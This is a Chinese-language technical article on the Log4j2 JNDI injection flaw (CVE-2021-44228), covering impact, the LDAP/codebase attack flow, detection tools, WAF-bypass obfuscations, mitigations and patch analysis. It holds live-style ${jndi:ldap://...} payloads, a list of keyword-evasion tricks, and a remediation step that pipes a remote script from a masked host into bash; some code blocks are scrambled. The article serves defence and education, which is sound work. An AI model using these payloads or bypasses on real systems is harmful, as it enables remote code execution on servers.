漏洞危害
Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。从Apache Log4j2 漏洞影响面查询的统计来看,影响多达60644个开源软件,涉及相关版本软件包更是达到了321094个。而本次漏洞的触发方式简单,利用成本极低,可以说是一场java生态的‘浩劫’。
java日志模块存在远程命令执行漏洞可直接控制目标服务器,攻击者利用难度极低, Java 技术栈业务及使用java开源软件需要重点关注,由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
该漏洞可通过 critical、error、warining、notice、info、debug等日志级别触发,只需部分日志内容可控,大量开源组件被波及,包括 ELK、 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。目前漏洞细节已被公开,攻击者可利用该漏洞进行远程命令执行(可导致服务器沦陷等)。
漏洞影响范围:
- Apache Log4j 1.x (1.x默认不支持jndi,若启用JMS的appender受影响,没有添加过Appenders组件相关配置或函数内未引用Appenders就没有影响)
- Apache Log4j 远程命令执行漏洞 影响版本: Apache Log4j 2.x < 2.15.0-rc2
- Apache Log4j 拒绝服务漏洞(CVE-2021-45105)影响版本:2.0-alpha1 至 2.16.0 (如果是JAVA7 可以通过升级到2.12.3解决此问题)
- Apache dubbo的影响参考官方https://github.com/apache/dubbo/issues/9380
漏洞原理
基础知识
JNDI
总结:JNDI是Java提供的Java命名和目录接口。通过调用JNDI的API可以定位资源和其他程序对象。
- JNDI是Java EE的重要部分,JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
JNDI
全称 Java Naming and Directory Interface(Java命名和目录接口)。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。JDNI是provider-based的技术(如同其它很多Java技术一样),暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。JDNI通过绑定的概念将对象和名称联系起来
。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。
LDAP
LDAP
全称 Light Directory Access Protocol(轻型目录访问协议),是基于X.500标准的轻量级目录访问协议。
总结:LDAP是一个目录服务,可以通过目录路径查询到对应目录下的对象(文件)等。即其也是JNDI的实现,通过名称(目录路径)查询到对象(目录下的文件)
LDAP目录服务是由目录数据库和一套访问协议组成的系统。
- 目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
- 目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。
- 目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
参考:LDAP概念和原理介绍
Codebase
Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。
Log4j2漏洞原理
Java低版本原理(网上普遍攻击原理)
原理概述:
Log4j2
漏洞总的来说就是:因为Log4j2
默认支持解析ldap/rmi
协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
攻击流程与原理
总结:
1、攻击则发送带有恶意Ldap
内容的字符串,让服务通过log4j2
打印
2、log4j2
解析到ldap
内容,会调用Java底层的Lookup
方法,完成Ldap
的Lookup
操作。
3、Java
底层请求Ldap
服务器(恶意服务器),得到了Codebase
地址,告诉客户端去该地址获取他需要的类。
4、Java
请求Codebase
服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。
具体攻击流程:
- 首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:
${jndi:ldap://localhost:9999/Test}
。 - 被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。
- 此时
Log4j2
会解析${}
,读取出其中的内容。判断其为Ldap
实现的JNDI
。于是调用Java底层的Lookup
方法,尝试完成Ldap
的Lookup
操作。 - 请求
Ldap
服务器,获取到Ldap
协议数据。Ldap
会返回一个Codebase
告诉客户端,需要从该Codebase
去获取其需要的Class数据。 - 请求
Ldap
中返回的Codebase
路径,去Codebase
下载对应的Class
文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象。就会导致我们攻击代码中的静态块中的内容被执行。
测试方法
1、dnslog手动验证方法
- 首先在dnslog平台获取一个子域名,尝试构造payload,插入请求数据包。
${jndi:ldap://xxxx.dnslog.cn}
- 通过dnslog平台是否收到请求,初步判断目标环境是否存在漏洞。
2、Log4j-scan等一些自动化工具
- Log4j-scan是一款用于查找log4j2漏洞的python脚本,支持url检测,支持HTTP请求头和POST数据参数进行模糊测试。
- github项目地址:https://github.com/fullhunt/log4j-scan
3、Log4j2 burp被动扫描插件
- 通过插件的方式,将log4j2漏洞检测能力集成到burp,从而提升安全测试人员的漏洞发现能力。
- github项目地址:
1
2https://github.com/f0ng/log4j2burpscanner
https://github.com/Jeromeyoung/log4j2burpscanner
4、AWVS扫描log4j2漏洞
AWVS14最新版本支持log4j2漏洞检测,支持批量扫描
5、制品级Log4j2漏洞检测工具
检测工具基于腾讯安全的binAuditor,支持 Jar/Ear/War包上传,一键上传即可获取到检测结果。
检测地址:https://bsca.ms.qq.com/
6、Log4j2 本地检测工具
基于长亭牧云产品提取出来的Log4j2本地检测工具,可快速发现当前服务器存在风险的 log4j2 应用。
1 | https://log4j2-detector.chaitin.cn/ |
绕过方法
实用WAF规则如对 ${ 、jndi、ldap、rmi 等关键词规则的防护,容易被绕过,绕过方法如下:
利用编码绕过:大小编码,递归URL编码,Unicode编码(JSON格式),十六进制编码等
利用log4j所支持的lookup方法(具体支持的方法和log4j版本有关)绕过:
${lower:jndi}
、${upper:jndi}
支持嵌套替换
${${lower:${lower:jndi}}:$ {lower:ldap}://x} => ${ jndi://ldap://x}
利用log4j在解析时的分隔符
:-
和特殊字符:${::-j} => j
(分隔符“:-”
及之前的部分被截掉)${env:ENV_NAME:-j}
、${xksV:Xgi:-j}
、${ozI:Kgh:Qn:TXM:-j}
均 会被转为j
特殊字符利用:
${upper:ı} => i
( ı 是拉丁字符 U+0131),这里的 ı 不是 i和I,经过 toUpperCase 就会转变成 I。从而绕过了 jndi 关键词的拦截。不出现port,避免被waf匹配ip:port
- ```
${jndi:ldap:192.168.1.1/a}1
2
3
4
5
6
7
6. **IP添加包裹**
- ```
${jndi:ldap://[192.168.34.96]/a}
${jndi:ldap://[192.168.34.96]]/a}
LdapURL取出"[ip]",LdapCtx去除[]获得ip,两种情况下端口都是389
- ```
不出现ip和端口
1
2
3
4
5
6
7
8
9
10${jndi:ldap:/a}
此时相当于ldap://localhost:389/a
原因:这种情况主要是来自于LdapURL解析URL时出错,导致host=null,port=-1,而后LdapCtx中发现host=null,则将host置为localhost,毕竟这样做看起来是可信的
原理是,LdapURL解析时有个关键处理如下
this.hasAuthority = var1.startsWith("//", var2); // var2=第一个冒号的索引
if (hasAuthority){
解析获取host和port
}
此时不出现://这个整体,就可以直接跳出host和port的获取,而后在LdapCtx中对host=null时,赋值为localhost,对port=默认值-1时,赋值为389不出现jndi:ldap关键字
- 通过upperCase、fastjson的unicode编码等方法可以避免该关键字(https://b1ue.cn/archives/513.[html](https://www.isolves.com/it/cxkf/yy/html5/) )
修复建议
为避免最新版本被再次绕过,在执行方案B的同时,也强烈建议执行方案A中的措施之一) :
方案A(临时方案):
五选一必须执行:
- 修改jvm参数: -Dlog4j2.formatMsgNoLookups=true (仅在Apache log4j 2.10.0>=版本中有效)
- 修改配置文件: 在应用classpath下添加log4j2.component.properties配置文件,log4j2.formatMsgNoLookups=true(仅在Apache log4j 2.10.0>=版本中有效)
- 代码层加固: System.setProperty(“log4j2.formatMsgNoLookups”, “true”);(仅在Apache log4j 2.10.0>=版本中有效)
- 移除log4j-core包中JndiLookup 类文件,并重启服务(需各部门及业务线评估条件是否允许,需验证移除后对稳定性的影响)
- 具体命令:zip -q -d log4j-core-.jar org/apache/logging/log4j/core/lookup/JndiLookup.class # 如果业务上是打好包的jar包,需要解压后寻找 log4j-core-*.jar,操作完了之后,再打回 jar 包
- 一键查询机器上所有log4j-core-*.jar 并删除 JndiLookup.class
1、方法一:
1、自行找到log4j-core-*.jar所在目录,然后执行path命令
2、执行完了,记得重启服务,重启服务,重启服务1
2cd log4j-core-*.jar所在的目录
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class2、方法二:
1、执行一键处置脚本
2、脚本原理:查询机器上所有log4j-core-*.jar 文件,然后执行path命令删除 JndiLookup.class, 采用该方法前建议自行做下实际环境的测试,然后分布灰度执行curl http://xxx.xxx.xxx.xxx/DelJndiFromLog4jCoreJar.sh | bash
3、Logstash 处置方式
zip -q -d <LOGSTASH_HOME>/logstash-core/lib/jars/log4j-core-2.* org/apache/logging/log4j/core/lookup/JndiLookup.class
然后重启 logstash 即可4、注意事项
- 有的环境是将 log4j-core-.jar 二次打包成 jar 包(多层jar打包),需要先解压外层jar包 ,让 log4j-core-.jar 以单文件的形式存在于服务器上,然后执行方法一或者方法二的 path 命令
- 执行完后再重新打包,解包打包参考如下
- 解包
jar -xvf hello.jar
- 打包
jar -cvf0m hello.jar ./META-INF/MANIFEST.MF .
- 解包
禁用JNDI服务(需各部门及业务线评估条件是否允许)
- 对存在sprint boot的server关闭jndi服务(在不影响业务的情况下),操作方式:在项目的根目录中编辑(如果无就新建)spring.properties或application.properties配置文件,添加属性以及值spring.jndi.ignore=true。
二选一强烈建议执行:
- 有公网权限的下掉公网权限,避免因为jndi出网被反弹shell控制机器权限,若有必要业务请采取出网白名单方式;
- 接入OpenRasp
方案B(官方修复):
- 更新为目前最新版本:
- 官方地址:https://logging.apache.org/log4j/2.x/download.html#
- Baidu Maven仓库(目前已经是2.16版本,以上方官方地址最新版为准):http://maven.scm.baidu.com:8081/nexus/content/groups/public/org/apache/logging/log4j/log4j-core/2.16.0/
补丁分析
rc1
2.15.0-rc1
总结:rc1补丁通过对JNDI Lookup增加白名单的方式,限制默认可以访问的主机为本地IP,限制默认支持的协议类型为java、ldap、ldaps,限制LDAP协议默认可以使用的Java类型为少数基础类型,从而大大减少了默认的攻击面。
具体分析:
通过比较2.15.0-rc1和该版本之前最后一个版本2.14.1之间的差异,可以发现Log4j2团队在12月5日提交了一个名为Restrict LDAP access via JNDI (#608)的commit。该commit的详细内容如下链接:
1
https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3
除去一些测试代码和辅助代码,该commit最主要内容是在3.5章节中提到的 JndiManager.lookup()方法增加了几种限制,分别是
allowedHosts
、allowedClasses
、allowedProtocols
。各个限制的内容分别如下:
1
2
3
4
5allowedHosts
allowedClasses
allowedProtocols可以看到,rc1补丁通过对JNDI Lookup增加白名单的方式,限制默认可以访问的主机为本地IP,限制默认支持的协议类型为java、ldap、ldaps,限制LDAP协议默认可以使用的Java类型为少数基础类型,从而大大减少了默认的攻击面。
rc1 绕过
发生原因:rc1默认不对URISyntaxException异常做任何处理,
绕过方法:通过构建一个简单的带空格的异形URI地址(127.0.0.1:8888/ 和exp之间)
rc2
2.15.0-rc2
- 通过比较2.15.0-rc1和2.15.0-rc2之间的差异,可以发现Log4j2团队在12月10日提交了一个名为Handle URI exception的commit。该commit的详细内容如下链接:
https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658
该commit主要内容是对rc1中JndiManager.lookup()方法里的catch代码块进行了修改:
- 当URISyntaxException异常被捕获时,直接返回null。从而无法使用上一章节的异形URI地址绕过。
Reference
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析